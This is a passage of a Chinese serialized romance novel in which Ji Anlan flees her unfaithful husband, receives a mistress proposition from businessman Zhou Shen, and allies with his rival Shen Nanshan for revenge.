一股难以言说的味道弥漫在空气里。
江容川浑身僵直,不可置信地瞪大眼睛,机械性地扭头瞪着纪安澜,咬牙切齿:“纪安澜!”
胃里清空后,纪安澜感觉一阵畅快,盯着江容川那张愤怒至极的脸,勾了勾唇:“抱歉,看见你就觉得恶心,吐出来好受多了,多谢了。”
话音刚落,纪安澜用力挣脱江容川的手,嫌弃似的捏了捏鼻子。
“那什么,你回去洗洗,太恶心了,不过这味道跟你还是挺配的。”
“你……”
这时,一个黑色的劳斯莱斯停在了路边。
纪安澜以为是叫的车到了,招了招手。
走过去想开车门,却发现怎么也打不开。
纪安澜不耐烦地叫嚷着:“快开门,我要上车!”
声音颇大,片刻后,纪安澜轻而易举地打开了车门,顺势坐了进去。
江容川怒不可遏地冲过去,冷声威胁:“纪安澜,你最好乖乖给我下来,否则……”
威胁的话还没有说出口,纪安澜不屑地冷笑了一声。
“师傅,开车!”
手一招,车子缓缓启动,朝着前方驶去。
“纪总,想去哪里?”
耳边突然传来了一道熟悉的嗓音。
纪安澜疑惑地扭头,睡眼惺忪地看着司机。
一张冷硬俊朗的脸赫然出现在眼前。
车里冷气开得十足,熟悉的雪松味充斥在口鼻间,盯着那双似笑非笑的眼眸,纪安澜瞬间酒醒,瞳孔骤然收缩。
她立刻去抓车门,奈何已经被锁死。
纪安澜机械性地回过头,目光落在了男人身上,努力地扯了扯唇,露出一个比哭还难看的笑。
她怎么会上了周慎的车?
第一卷 第7章 卸磨杀驴商业奇才!
纪安澜浑身僵直,大脑有一瞬间的空白。
面前的男人好整以暇地斜倚在真皮座椅上,骨节分明的手搭在交叠的腿上,视线落在她脸上,似笑非笑地望着她。
鼻息间充斥着一股冷香,夹杂着他身上好闻的雪松香。
纪安澜骤然回过神来,扯着唇角:“周总,我说我认错车了,你信吗?”
“哦?”周慎眉峰微挑,刻意拖长尾音。“我还以为纪总是特意上我的车来跟我谈合作的。”
纪安澜眉头微蹙,打量的目光凝在周慎脸上。
他不是刚刚拒绝了合作吗?怎么又重新提起?难道是想通了?
掩下心中情绪,纪安澜扯着唇问:“周总想谈合作吗?”
男人唇角上扬,低笑了一声,笑声低沉悦耳,只是笑意未达眼底。
纪安澜不明所以,还未开口,他突然一张脸快速地凑了过来。
无限放大的俊脸近在咫尺,温热的呼吸喷薄在脸上,灼烧着她白嫩的肌肤。
薄唇轻启,喑哑的声线里夹杂着戏谑:“纪总可还记得我的话?”
她当然记得!
周慎说他除了美色,什么贿赂都不接。
可偏偏,纪安澜不想出卖美色。
拒绝的话在喉咙里呼之欲出。
男人低沉的嗓音再次响起,夹杂着一丝慵懒:“后面一直跟着一辆迈巴赫,不知道是谁的车。”
迈巴赫?
纪安澜心头一紧,立刻回头。
那辆黑色的车,她再熟悉不过。
是江容川的车。
车子跟得很紧,时不时地按着喇叭,车灯异常刺眼,车速快得有些吓人。
纪安澜这才反应过来,她坐的这辆车的车速也不慢。
两人竟飙起车来了!
很显然,刚才两个人的争吵被周慎听见,他才刻意提醒后面有车追,但又把车子开得这么快,显然是不想让江容川追上。
周慎到底想要什么?
正在纪安澜好奇时,车速突然慢了下来。
尖锐的鸣笛声瞬间响彻耳际。
纪安澜脸色微变,紧张地看向周慎。
他唇角一勾,笑的邪肆:“纪总,到你选择的时候了。”
“到底是出卖色相?还是坐那辆车?”
纪安澜心口一紧,她别无选择。
好马不吃回头草。
她绝不会原谅江容川!想到跟他待在同一个空间里,她就觉得胃里一阵翻滚。
目光紧紧盯着周慎那张俊逸的脸,她只犹豫片刻,纤长的藕臂勾住了周慎的脖子,下一秒,毫不犹豫地吻了上去。
一股淡淡的香味扑面而来,周慎的身体僵在原地。
幽深的眸子骤然一沉,眼底的玩味被错愕取代,鼻息间充斥着强烈的酒味。
纪安澜的吻干脆而又利落,没有缠绵悱恻,只有孤注一掷的狠劲。
她紧闭着双眼,似是害怕,睫毛轻颤,又像是害羞,不敢看他。
一吻终了,纪安澜冷声命令:“甩掉那辆车!”
话音刚落,身子向后退。
突然,手腕被紧紧攥住。
纪安澜愣了一瞬,掀起眼帘,还没有来得及反应,突然,一股强大的力道将她拉上前,纪安澜身子向前倾,冰凉的唇畔印上了她的唇。
跟她的短促的吻相比,周慎的吻温柔而又绵长,混合着他身上雪松的冷香,更添了几分暧昧不明的旖旎。
空气中弥漫着一股燥热,纪安澜两颊微红,满脸错愕,这一吻极其漫长,仿佛过了一世纪。
周慎不舍得松开了她,眼神似笑非笑地盯着纪安澜红的不自然的唇,眸子深如夜色。
“纪总,在这方面还挺令人意外的。”
这算是什么结论?
纪安澜脸一热,目光注视到后视镜,身后的迈巴赫快追上来了。
“别废话,快甩掉他!”
见纪安澜着急,周慎勾唇浅笑,抬手给司机了个手势,车子像是离弦的箭,急速地行驶在路上。
车速之快,让纪安澜差点心脏骤停。车子超越了好几辆车,甚至能旁若无人地穿梭在各个车子中间。
片刻后,迈巴赫被远远地甩在了后面。
纪安澜回头,没有再看见紧追不扯的车,长长的舒了口气。
看到纪安澜反应,周慎轻笑:“纪总,似乎在被人讨债?”
面对调侃,纪安澜懒得回应,侧过身去,倚在真皮座椅上,目光空洞地看着车外倒退的风景。
“卸磨杀驴,纪总是个商业奇才。”
“周总才是,那么好的口才,不去说相声可惜了。”
不是调侃,就是讽刺,从他嘴里似乎听不到什么好话。
紧绷的神经也随着两句调笑慢慢放松,也许是酒意麻痹了神经,也许是太累了,纪安澜闭上眼睛没一会,竟沉沉睡去。
听见均匀的呼吸声,周慎眉头微蹙,扭头一看,纪安澜竟然睡着了。
“纪总,在一个男人的车上睡着,可不是一个好选择。”
周慎打趣地说着,去拉纪安澜的胳膊。
突然,视线被外套上的一抹血渍吸引,目之所及,整条袖子上竟然都沾满了血,看起来受了极严重的伤。
目光落在那张白嫩的小脸上,苍白如纸,毫无血色。
受了伤竟然还去喝酒,还能装成没事人一样,小小的身板,竟承受如此大的痛苦也不吭声?
墨染的眸子沉了沉,紧紧盯着那张巴掌大的小脸。
“回御景豪庭。”
车子很快地驶到了御景湾。
周慎伸手把纪安澜抱下车,她睡得很熟,不像是睡着,反倒像是昏迷了。
一股浓烈的血腥味充斥在口鼻间,他加快脚步,路上让人打电话给顾晏池。
等到他把纪安澜放在了卧室的床上,顾晏池才慢吞吞地上楼,推开了卧室的门。
“大晚上的,你叫我来干……”
还没有说完,突然被人拽着胳膊,生拉硬拽进了卧室。
“快看看她。”
冷硬的声音泛着一丝急切的意味。
顾晏池不经意的一瞥,在看清纪安澜面容时,脸色一变。
竟然是纪安澜,她怎么会在这里?难道她跟周慎认识?
可他跟周慎做了那么多年的朋友,从未听周慎提起过她。
看着周慎眉头紧锁,眼睛一瞬不瞬地盯着纪安澜,顾晏池眼中多了一抹兴味,随上前查看。
“她胳膊撕裂伤,很严重,不及时治疗可能会落下残疾。”
顾晏池得出结论,又产生一个大胆的猜测:“你打的?”
第一卷 第8章 那个女人回来了?
周慎瞪了他一眼,一个眼刀子射了过去。
顾晏池立刻笑道:“开个玩笑,就是看你太紧张了。”
顿了一下,凑到周慎跟前,一脸欠揍地问:“话说,你为什么这么紧张?你俩什么关系?”
周慎沉默一瞬,还没有来得及回答,顾晏池一脸严肃:“她可不是个简单的女人,可能有人正盯着她。”
纪安澜一直检查和调理不孕不育的医院,就是他就值的医院。
而他,正是纪安澜的主治医师。
本着保护患者隐私的准则,顾晏池并没有直接说出来之前帮纪安澜查不孕不育一事。
想到之前的怀疑,顾晏池语重心长劝说:“她可能得罪了不该得罪的人,有人对她下了手,要是不想惹麻烦,我劝你还是不要跟她扯上关系。”
“我像是怕麻烦的人?”周慎不屑地瞟了他一眼。
“这么说,你要帮她?”顾晏池瞳孔地震。
他一向独来独往,不管闲事,怎么今天大发善心,要去帮一个女人?
况且这女人身上似乎藏着秘密。
周慎陷入沉默,黑曜石般的眸子落在那张素白的小脸上,想到她那双倔强的眸子,周慎饶有兴致地勾了勾唇。
“谁知道呢?”
夜色如墨。
悦轩酒吧,人头攒动,热舞劲爆,男男女女舞动着身姿。
江容川不耐烦地踹开了包房的门。
“找我什么事?”
没有追上纪安澜的车,他正在气头上,没想到接到了薛从打来的电话。
“怎么了?谁惹你了,这么大的火气?”薛从立刻招呼江容川坐下,随手关上了门。
他给江容川倒了一杯酒,递给他。
江容川仰头一饮而尽,擦了擦唇角,幽深的眸子泛着冷意。
“是不是又是因为纪安澜?”也只有纪安澜才会惹他生那么大的气,薛从说出了怀疑。
“别给我提她!”江容川瞬间暴怒,想到纪安澜那张避他如洪水猛兽的脸,他就气不打一处来。
那个以前天天嚷着要嫁给她,每时每刻都要爱的纪安澜,怎么变得完全不一样了?
不仅不接他电话,居然还把她甩在身后?
往常只要一句话就能哄好,这一次怎么那么反常?等她欲擒故纵把戏玩完了,他一定好好教训纪安澜,让她以后再也不敢了!
心里恶狠狠地想着,江容川的脸色逐渐好转。
薛从观察到他脸上变换的细节,慢慢凑近,沉声道:“女人嘛,哄哄就行了,像你这样享齐人之福的,真是令人羡慕!”
听到这句话,江容川心里一阵畅快,双腿交叠,向后一仰,大剌剌地倚在沙发上。
“别想女人了,今天晚上可是发生了一件大事。”薛从神秘兮兮地说着,为江容川递过去一支烟,给他点燃。
烟雾缭绕下,江容川墨染的眸子微微一抬。
薛从立即道:“听说今晚吴总不知道什么原因得罪了周家二少,手臂断了一条!”
“你刚才不是说你从兰会所回来吗?难道你不知道这事?听说就是发生在兰会所,好像是因为什么女人。”
女人?
江容川脑海里闪过的第一个念头,那就是纪安澜。
转念,就把这个想法给否定了。
在他心里,纪安澜就是个实打实的大小姐,怎么可能会愿意参加这种生意局?
纪安澜跟吴总八竿子打不着,她可能就是碰巧出现在那里吧。
一想到纪安澜,他心里窝着一股子气。
纪安澜第一次闹脾气这么久,不知道什么时候能恢复正常。
薛从瞧着江容川一副意兴阑珊的模样,便主动散了场。
江容川驱车回到了海澜湾。
刚一下车,远远就瞧见家里的灯开着,他眸子微微一亮,心里泛起了一丝得意。
纪安澜回来了?
她终于忍不住回来了。
如果这一次纪安澜不好好道歉,他绝对不会原谅她!
这样想着,江容川快步往家里赶。
一把推开房间的门,江容川得意叫道:“你还知道回来?你知不知道我为了追那辆车出车祸吗?你……”
话还没有说完,在看清客厅里站着的人时,话哽在了喉咙里。
宋妘妘一脸笑意地迎了过来。
“容川,你回来了,我等了你好久。”
她走过来,就要去挽江容川的胳膊。
江容川用力地抽回手,笑容僵硬在脸上,眼底划过一抹失落。
眉头微蹙,不解地看着他:“容川,你怎么了?”
江容川以往不会如此冷漠的对她,今天这是怎么了?
“谁让你来这里的?回御景湾!”
手指向门口,江容川不耐烦地伸手松了松领结,叹了口气,坐在了沙发上。
“你不是之前就说过,以后不管我想做什么都可以吗?才过这么久,你就说话不算话了?”
双眼迷蒙,眼睛里蓄满了泪水,楚楚可怜地盯着江容川。
女人最有力的武器就是眼泪,她能成功地挤走纪安澜,就是最好的证明。
坐在沙发上,的头枕在江容川的肩上,轻声啜泣:“我就是想你了才来的,都已经一天了,难道你不想我吗?”
“赶紧回御景湾。”江容川强忍着心里的怒气,冷冰冰地开口。
“不要,我就要待在你的身边。”
如往常一般,用撒娇的口吻说着。
突然,脖子被一股强大的力量扼住。
瞪大眼睛,不可置信地看着一脸愤怒的江容川。
“容……川,你怎么了?”
他阴沉着脸,眼底满是阴郁,冷冷地瞪着她,怒火再也压制不住,手上的力量慢慢缩紧,似乎要把她生生掐死。
“是你把我们的亲密照发给纪安澜的?”
嘶哑的嗓音里复涌着愤怒。
心口一跳,没想到事情这么快就露馅了。
“我……不小心发过去的。”顿了一下,又解释:“再说了,反正她都已经知道我们的关系了,就算看到也没关系吧?”
她为自己的做法找了一个强而有力的说辞。
“谁让你这么做的?”江容川拔高音量,一字一句地质问:“我问你,谁让你这么做的?”
咆哮声在耳边震耳欲聋,被吓得身子微颤,看着江容川发狂如野兽的眼睛,死死地盯着他,像是要把她撕碎一样,心里没来由地一颤。
她摇着头,想解释,可脖子上的力道慢慢缩紧,空气一点点地压缩,她感觉快要呼吸不上来了。
第一卷 第9章 做我三个月的情人
“孩……孩子!”宋妘妘表情痛苦,艰难吐出两个字。
江容川面色一沉,及时收手,宋妘妘大口地喘着气,用力地咳嗽着,手扶着腹部,脸胀得通红。
江容川淡漠地垂眸看她,眼底没有太多的波澜,只冷声道:“好好养胎。”
丢下这句话,就头也不回地离开了。
宋妘妘手指蜷缩,紧握成拳,手指放在腹部,眼底满是怨恨。
纪安澜。
笔账我迟早会给你算!
与此同时,御景豪庭别墅内传出一声尖叫。
“啊——”
纪安澜从梦中惊醒。
脸色煞白,毫无血色,瞳孔涣散无神,头上布满了细细密密的汗珠,坐在床上,久久没有回过神来。
一阵脚步声传来,由远及近,在床边停下。
纪安澜的目光落在那锃亮的皮鞋上,视线向上移,修长的腿上,裁剪得体的西装衬得身材宽肩窄腰,阳光透过落地窗洒在男人脸上,明暗交错。
心头一颤,纪安澜恍然回过神来,下意识地朝着四周看。
陌生的环境,还有个不合时宜的周慎。
眼神闪过一瞬的慌乱,纪安澜逼迫自己冷静下来,余光瞥见手臂上缠着绷带,昨天发生的事如同走马观灯一般在脑海里播放。
看来是周慎把她带回来的。
敛起脸上情绪,纪安澜表情严肃道谢:“多谢周总。”
纪安澜掀开被子,打算穿鞋离开。
“纪总,听说你要离婚了。”
语气淡淡,听不出情绪。
纪安澜动作微顿,迅速提上鞋,快步从门口走。
突然,一道颀长的身影拦住了她。
“话还没有说完,纪总为什么要着急走?”
眉峰微挑,男人锐利的目光落在她苍白的小脸上,语气夹杂着几分玩味:“还是说,纪总害羞了?”
纪安澜先是一愣,意识到周慎在说什么后,面色一僵。
昨天亲他,只是权宜之计。
像周慎这样的花花公子,压根就不会在意,刻意提起,倒像是在揶揄她。
纪安澜沉默一瞬:“成年人谁会在意这些?”
周慎向前走了两步,逼近:“我在意。”
一字一句,铿锵有力。
配上那坚定的眼神,若是不知道他是个什么样的人,恐怕她就信了。
纪安澜冷笑:“周总真会说笑话。”
她没时间陪周慎闹,只想赶紧离开此地。
越过周慎身边时,手腕被拉住。
“想离婚,我可以帮你。”
纪安澜骤然回眸,眼中闪过一抹不可置信,柳眉微蹙,眼底裹挟着一层怀疑。
天上不会掉馅饼。
只见周慎眉峰微挑,声音低沉:“不过有个条件。”
顿了一下,他伸手用力一拉,纪安澜的身子向前倾,两人距离瞬间拉近,淡淡的雪松冷香充斥在口鼻间。
周慎定是调查过她,明白她的迫切程度,才会提出条件,说明她有利用价值。
纪安澜面色微沉,顺势问道:“什么条件?”
“做我三个月的情人。”周慎脱口而出。
啪——
清脆的巴掌声落在了那张玩世不恭的脸上。
纪安澜毫不犹豫地打了他一巴掌,毫无血色的小脸迅速涨红,又快速褪去血色,胸口剧烈地起伏着,冷冷瞪着周慎。
提出这样的条件,分明就是在侮辱她。
周慎的脸偏向一旁,冷毅的侧脸巴掌印赫然显现,纪安澜这一巴掌打得极用力,他嘴角渗出一丝鲜血。
拇指一抹,鲜血划到脸上,唇角微微一勾,周慎不怒反笑,掀起眼眸,低笑了一声,笑声肆意好听:“不着急,我可以慢慢等,纪总考虑一下。”
纪安澜昨晚谈合作时的话,他学得有模有样。
像是在挑衅,又像是在侮辱她。
仿佛被塞了一块湿海绵,纪安澜努力克制着愤怒的情绪,盯着那张欠揍的脸,恨不得现在上去再给他一巴掌。
但她不能惹周慎!
纪安澜很清楚这一点,刚才要不是被气急了,她也不会本能地打了他一巴掌。
手心火辣辣的疼痛在提醒她,不能再树敌了,特别是像周慎这样的敌人,来接近周慎,就是为了跟他合作,就算合作不成,也不能变成敌人。
想到这里,纪安澜努力克制住了愤怒,抬脚朝门口走。
看着那道倔强的背影,周慎邪魅一笑:“纪总,等你好消息。”
纪安澜也不知道怎么离开的御景湾,只觉大脑一片混乱,脑海里全都是刚才周慎的混账话。
做他三个月的情人?
果然男人都一样,全都是用下半身思考的动物。
她不能为了逃离狼窝,而再入虎穴!
很显然,她的大脑已经无法思考,被周慎的那句话填满。
突然,急促的电话铃声,唤回了她的思绪。
话那头传来了娟姐的声音:“安澜,你快来医院,妈妈醒了!”
纪安澜眼眸微亮,打了个车,立刻赶往医院。
她迅速地打开病房的门,入目便看见林慧敏坐在床上,脸色苍白,眼睛却殷盼地看着门口。
纪安澜快步走到病床前,声音哽咽:“你终于醒了,妈!”
“澜澜,你来了。”
那熟悉的称呼,热泪顺着眼眶滑落。
妈妈居然认出了她!
“妈,你醒了,你终于醒了!”
纪安澜激动地握着林慧敏的手,声音极度哽咽,说不出话来。
林慧敏爱怜地看着纪安澜,目光在她身上移动,视线扫过纪安澜受伤的胳膊时,眉宇间充满了担忧。
“澜澜,你怎么受伤了?”
来的太过着急,纪安澜忘记隐藏。
她赶紧解释:“不小心碰到了,没事的。”
“长大了反倒不稳重了,以后一定要小心!”林慧敏低声嘱咐。
纪安澜感觉仿佛是在梦中,妈妈已经很久都没有清醒的理智了。
她泪眼婆娑地望着林慧敏,心里的委屈瞬间倾泻而出,化作眼泪,流淌在脸颊上。
想到发生的种种,纪安澜脱口而出:“妈,我要离婚了。”
她不知妈妈何时会再次变得不清醒,她只想让妈妈知道她的决定,也想听听妈妈的说法。
可谁知,林慧敏脸色骤变,脸唰的一下白了,两只手抓住了纪安澜的胳膊,神色惊恐,用力摇头。
“离婚?不离婚,不能离婚!谁让你离婚了?你不许离婚!”
第一卷 第10章 合作人选
“为什么?”纪安澜不明所以,不知道妈妈为什么会有如此大的反应。
“江容川就是个混蛋,我见到他就觉得恶心!”纪安澜向林慧敏解释着,希望他能明白她的痛苦。
可突然,林慧敏抱着头蹲在地上,大喊着:“不要!不要离婚!”
纪安澜被他突如其来的动作吓了一跳,想上前去扶她,林慧敏抓住她的手,力道大的她差点摔倒。
“你不可以离婚!”
“离婚了会死人的!”
“不可以!”
林慧敏神情癫狂,眼神空洞,狠狠地瞪着纪安澜。
听着她语无伦次的话,纪安澜鼻子一酸,眼眶微红,泪水不受控制地滑落脸颊。
看来妈妈又犯病了。
纪安澜伸手拍了拍她的背,柔声安抚:“妈,对不起,让你担心了。”
后悔刚才跟妈妈说那一番话了,或许正是由于担心她,情绪才会不稳定。
“你放心,我没事。”纪安澜勉强地勾了勾唇,“我刚才就是说着玩的,你别放在心上。”
话音刚落,纪安澜明显能够感觉到妈妈的神色有所好转。
纪安澜眼中的担忧快要溢出,想找医生询问妈妈为何会突然发病?
这时,手机响了,是叶哲打来的。
他一般不会轻易主动打过来电话,难道是遇到了什么急事?
纪安澜立刻叫来了娟姐,让她好好照料母亲,她恋恋不舍地看了一眼林慧敏,在电话铃声的催促下,快速地离开了医院。
病房里,林慧敏眼神闪过一抹异样,眼睛一眨不眨地盯着那道半开着的房门,眼底翻涌着一丝怪异。
两人约在了暮色咖啡厅见面。
叶哲上来甩给纪安澜一沓文件。
“这些是江氏近一个月要竞标的项目,利润很高,总共四个项目,想凭我们现在的能力拿下这些项目,几率为零。”
纪安澜低头看了一眼文件,眉头紧皱。
确实如他所说,这四个项目很好,但同时竞争激烈,仅需要足够多的人力,还需要大量的资金投入。
眼下,她囊中羞涩,根本就不可能同时拿下四个项目。
“要不我们先尝试其中两个吧。”叶哲建议采用折中方法,至少得先赚点钱。
纪安澜面色一沉,心里立刻否定了这个建议。
她需要同时拿下四个项目,才有可能有一战之力,只有争分夺秒,才有赢的希望。
“若是有个人帮忙,或许我们就能拿下这四个项目。”
听到纪安澜仿佛痴人说梦般的话,叶哲紧皱着眉。
谁会帮他们?
在如此劣势下,几乎没有人会愿意选择他们。
叶哲看着纪安澜一副胜券在握的模样,问道:“你已经有人选了?”
纪安澜点了点头,“只要有那个人的助力,我们一定能拿下!”
“谁?”叶哲很好奇。
纪安澜勾了勾唇,神秘兮兮地笑了笑,掏出手机打了个电话。
当天下午,纪安澜便赶到机场。
机场人头攒动,纪安澜目光扫过一个又一个的行人,最后视线定格在一个短发、身着黑色大衣的女人身上。
沈南姗身材修长,梳着干练的短发,中分显得气场十足,眉眼锐利,像是猎人搜寻猎物一般,在人群之中搜索,高挺的鼻梁下,红唇如烈焰一般,目光锁定在纪安澜身上,薄唇轻启。
“纪安澜。”
“沈南姗,终于又见面了。”
两人相视一笑,在机场面对面地看着彼此。
纪安澜快步向前帮她提行李箱。
“你说合作是真的?”
沈南姗皱着眉头,眼睛带着一丝打量的意味盯着纪安澜。
当年江容川拿到了江家话语权,她不得已离国,一是打算养精蓄锐,二是怕被暗害。
她记得不错的话,纪安澜是江容川的女朋友,听说后来结了婚。
她跟江容川势同水火,身为江容川妻子的纪安澜竟然要提出跟她合作?
“当然是真的。”纪安澜一脸严肃。
“你俩离婚了?”沈南姗眯着眼睛,一脸八卦的表情。
“快了。”纪安澜随口答了一声。
“被绿了?”不得不说,她猜的很准。
纪安澜面色一僵,没有回答。
“然后想报仇?”沈南姗继续问。
本来她还想不明白纪安澜为什么要找她合作。
不过现在想来,跟江容川最有仇的人就是她了。
“你不知道我的目的,居然这么快就回国了?”纪安澜不答反问。
“碰巧离国很近,听你说话有意思,就回来了。”
她在心里想了一部爽剧,不过一想到纪安澜爱了江容川十二年,突然觉得脑海中的爽剧有点悬,该不会变成窝囊剧吧?
“话说,我刚刚猜的是不是真的?你该不会还是那个恋爱脑吧?”
纪安澜沉默不语,沈南姗有些着急。
“我想听听你的复仇计划,而不是你向我哭诉。”
见纪安澜走得飞快,沈南姗立刻追了上去。
霖城菜馆。
两人找了个靠窗的位置坐下。
沈南姗百无聊赖地瞥向窗外,一路上,她问了纪安澜许多问题,纪安澜有一搭没一搭地回着,听着像是说了,却好像什么都没有说。
最后沈南姗觉得无聊,没有再继续问。
突然余光瞥见了一个熟悉的身影。
定睛一看,还真是冤家路窄。
她刚一回国,没想到竟然看见了江容川。
沈南姗刚准备叫纪安澜,突然发现他的身边,竟然有两个女人,一个是江曦月,另外一个就是宋妘妘。
宋妘妘紧贴着江容川,生怕别人不知道他们两个人搞到了一起,动作矫揉造作,偏偏江容川就是吃这一套,嘴角的笑意没停过。
沈南姗看的恶心,忍不住吐槽:“不愧是小三生的,就是喜欢找小三,找就找吧,还找个这样的,眼光真差!”
纪安澜顺着沈南姗的视线看去,发现了江容川和宋妘妘。
她也附和的点了点头。
沈南姗掀起眼眸看着纪安澜:“说他,没有说你吗?”
“你都不能说眼光差了,你简直是瞎了眼,竟然爱了他十二年!”
这一点不可否认,纪安澜心里很赞同。
“确实。”
看着纪安澜波澜不惊的模样,沈南姗眼中满是诧异。
纪安澜难道真的醒悟了?
她还以为纪安澜还是那个恋爱脑呢。
“你们两个怎么在这?”
突然,一道不合时宜的声音自不远处传来。
第一卷 第11章 小三教出来的儿子
纪安澜和沈南姗同时回头,便看到柳清眉一脸震惊,眼底满是嫌恶,慢慢走向两人。
“关你毛事?”沈南姗嗤笑一声,顺道拿起筷子,给纪安澜夹了块肉,微笑着说:“看你瘦的,多吃点,我不在的日子,你没少被欺负吧?”
听着她意有所指的话,柳清眉脸色一黑:“沈南姗,你什么意思?”
“字面上的意思。”挑了挑眉,沈南姗眼中充满了讥讽。
话里话外都在指他们苛待纪安澜。
柳清眉脸色越发难看,想反驳,却找不出话来。
这时,江容川他们的目光也随之看了过来。
再见到纪安澜跟沈南姗坐在一起吃饭时,他脸色骤变,黑如锅底,噌地一下站起身,快步来到两个人的跟前。
黑眸沉沉盯着纪安澜,周身笼罩着低气压,冷冰冰地命令道:“你怎么跟她在一起?过来!”
纪安澜慵懒地掀起眼眸,视线冰冷,仿佛在看一个毫无紧要的陌生人。
“去哪?”视线瞟向了不远处的桌子,江曦月跟宋妘妘面色不善地瞪着她,“那边太挤了,吃饭倒胃口。”
江容川面色一沉,伸手就要去抓纪安澜的手腕。
沈南姗站起身,一把拍开了她的手,站在纪安澜身前,气势凌人地盯着江容川。
“你有什么资格让她过去?”
“这里哪有你说话的份?”江容川冷冰冰地瞪着沈南姗,眼底满是不屑。“你只不过是我的手下败将。”
“那又怎样?说起来,你们到底是怎么赢的,心里没数吗?”沈南姗唇角勾着一抹讥讽的笑,目光扫过江容川,视线落在了柳清眉脸上。
“上梁不正下梁歪,老公喜欢找小三,教出来的儿子,也喜欢找小三,你们江家的家风,真是精彩极了!”
“你胡说什么?信不信我打烂你的嘴?”柳清眉被戳到痛处,气得发颤。
江曦月闻言,快步冲了过来,伸手按了按母亲的肩膀,眼神怨毒地瞪着沈南姗。
“沈南姗,你才刚回来,就这么嚣张?别忘了当初是怎么被扫地出门的?”她冷笑道:“要不是我妈大度,你早就已经被赶出去了。”
这话听得沈南姗有点想笑。
这些年,她一直待在国外,就是因为这一家几口。
现在她口中,竟还成了放她一马的善人?
“你跟我妈道歉,不然你别想参加爷爷的寿宴!”
“哦?”沈南姗冷笑,视线如利刃一般冷冷地射向江曦月,不等她再张口,抬手给了她一巴掌。“你算是个什么东西,也敢来教我做事。”
清脆的巴掌声响彻耳际,江曦月捂着脸愣在原地,她没想到沈南姗竟然敢打她。
柳清眉一看女儿被打,尖叫着扑过来,沈南姗轻而易举地捏住了她的手腕,用力地将她甩到一边。
江容川赶紧扶了柳清眉一把,怒目圆瞪,看着沈南姗。
“沈南姗,我的容忍是有限度的,你不要太过分!”声音充满了威胁。
沈南姗不屑地冷笑,淡漠地扫了两人一眼,拍了拍手上不存在的土,气定神闲地坐在了座位上。
江容川的目光落在了她对面的纪安澜脸上。
素白的小脸没有化妆,面无表情地低头吃饭,仿佛一切都与她无关。
闹了几天了,居然还有脾气?
“纪安澜,你居然与她为伍?真是自甘堕落!”
“你以为这样就能引起我哥的注意吗?别浪费时间了!我已经有新嫂子了!”江曦月随声附和,眼底满是嘲讽。
江容川闻言,面色一沉,瞪了江曦月一眼。
江曦月不仅没有收敛,反而越发地猖狂。
“要想我哥原谅你,现在赶紧跟这个女人划清界限,快点回来布置爷爷的寿宴,否则我哥这一辈子都不可能让你进我们家的门!”
纪安澜慢条斯理地拿起纸巾擦了擦手,嘴角扬起了一抹冰冷的弧度。
“爷爷的寿宴,从宾客名单,再到会场布置,每一样都是我亲自操持,没有了我,你们江家能把寿宴办得体面吗?”
顿了一下,纪安澜笑得更冷:“现在是你们求我,而不是我在求着你们。”
“你少往自己脸上贴金了!不就是一场寿宴吗?谁不能办?”江曦月恶狠狠地瞪着纪安澜。
纪安澜则耸了耸肩:“哦?那我们就拭目以待,倒要看看你们江家是怎么办这场寿宴的。”
“你太把自己当回事了吧?除了这些上不了台面的杂事,你还能做什么?”江容川护着江曦月,眼神中满是轻蔑。
江曦月有人撑腰,更加看不起纪安澜:“你就是个什么都做不了的废物!真以为我们离了你就不行?”
原来这么多年,她为江家劳心劳力,最后就换来了“废物”两个字。
幸亏早就看清了江容川的嘴脸,否则她现在还傻乎乎地为他家卖命。
沈南姗淡然抬眸,眼底清冷一片,没有一丝温度。
盯着那张嚣张而又轻蔑的脸,沈南姗嘴角噙着一抹自嘲的笑,她当初怎么眼瞎了看上他的?
“现在跟我回去,我可以当作什么事情都没有发生,不然我就……”
江容川出言威胁,话还没有说完。
纪安澜抄起桌子上的玻璃杯,朝着江容川的脸泼了上去。
水珠打湿了他的发丝还有那笔挺的西装,顿时显得极其狼狈。
江容川猛地闭上眼睛,再次睁开双眸时,眼底已满是愤怒。
“纪安澜!”江容川怒不可遏地咆哮着。
纪安澜充耳不闻,拿起包,看了一眼沈南姗。
“这里太吵了,我们换个地方吃饭吧。”
沈南姗挑了挑眉,“确实聒噪,几个狗叫得我心烦。”
她也站起身,两人朝着门口走去。
江容川不可置信地看着那道决绝的背影,眸色越发幽暗,眼底多了一抹不易察觉的着急。
眼见着纪安澜马上就要出门,他心下着急,不由自主地怒吼:“纪安澜,你有本事不要回来求我!”
以往纪安澜耍小性子几天哄哄就好了,没想到这一次竟然跟她闹脾气这么久。
不仅出言侮辱他的家人,甚至还跟他的死敌在一起。
她到底想干什么?
一直看好戏的宋妘妘故作体贴地拿纸巾给江容川擦脸,满眼心疼:“纪安澜怎么能这样?”
“她实在是太过分了,哥,可千万不能原谅她!”江曦月叫嚣着。
第一卷 第12章 拿回她的筹码
“容川,女人不能惯着,你要是轻易原谅了纪安澜,以后还不爬到你的头上去?”柳清眉也在气头上,眼底闪着恶狠狠的光。
江容川墨染的眸子沉了沉,微微点头。
凌厉的视线盯着纪安澜消失的方向,眼底划过了一抹复杂的情绪。
纪安澜似乎变了?
她会不会真的不再回到他的身边?
他被自己的想法吓了一跳,转念便否定了这个想法。
纪安澜爱了他十二年,怎么会轻易改变?
他一定是在杞人忧天。
在心里安慰了一番自己后,目光落在了一旁嘘寒问暖的宋妘妘脸上。
“好了,赶紧回去吧,好好养胎。”
话音刚落,起身,率先朝着外面走去。
宋妘妘笑容僵硬在脸上,看着江容川的背影,面色一黑。
果然,江容川最在乎的还是她肚子里的孩子。
不过无所谓,只要能拿捏住他,她就一定能达成目的。
而至于纪安澜……
想到这里,沈南姗眼角划过一抹算计。
纪安澜跟沈南姗两人刚一出餐厅,沈南姗的手机响了,来电显示居然是江老爷子。
她刚一接听,脸色骤变,视线焦急地落在了纪安澜脸上。
挂断电话后,面色一沉,眼中划过一抹担忧:“老爷子突发心梗,现在正在抢救!得去一趟。”
话音刚落,快步离去。
纪安澜眼中充满了担忧,心一下子提到了嗓子眼。
这么多年,只有老爷子真心待她。
她想跟沈南姗一起去医院。
只是一想到现在去会跟江容川他们撞个正着,纪安澜压下心里的紧张,理智战胜了情感。
反正有沈南姗的联系方式,等到江容川他们走了之后,再去医院看老爷子。
想到这里,纪安澜缓了缓心神。
她现在最主要的就是拿回属于她的东西。
纪氏芯片研究所,核心项目【AI能源驱动器芯片】聚焦高压驱动、GaN驱动模块,适配机器人、数据中心,主打高能效。
这个项目本来是纪氏的核心,可在不知不觉间,也被江容川夺走了。
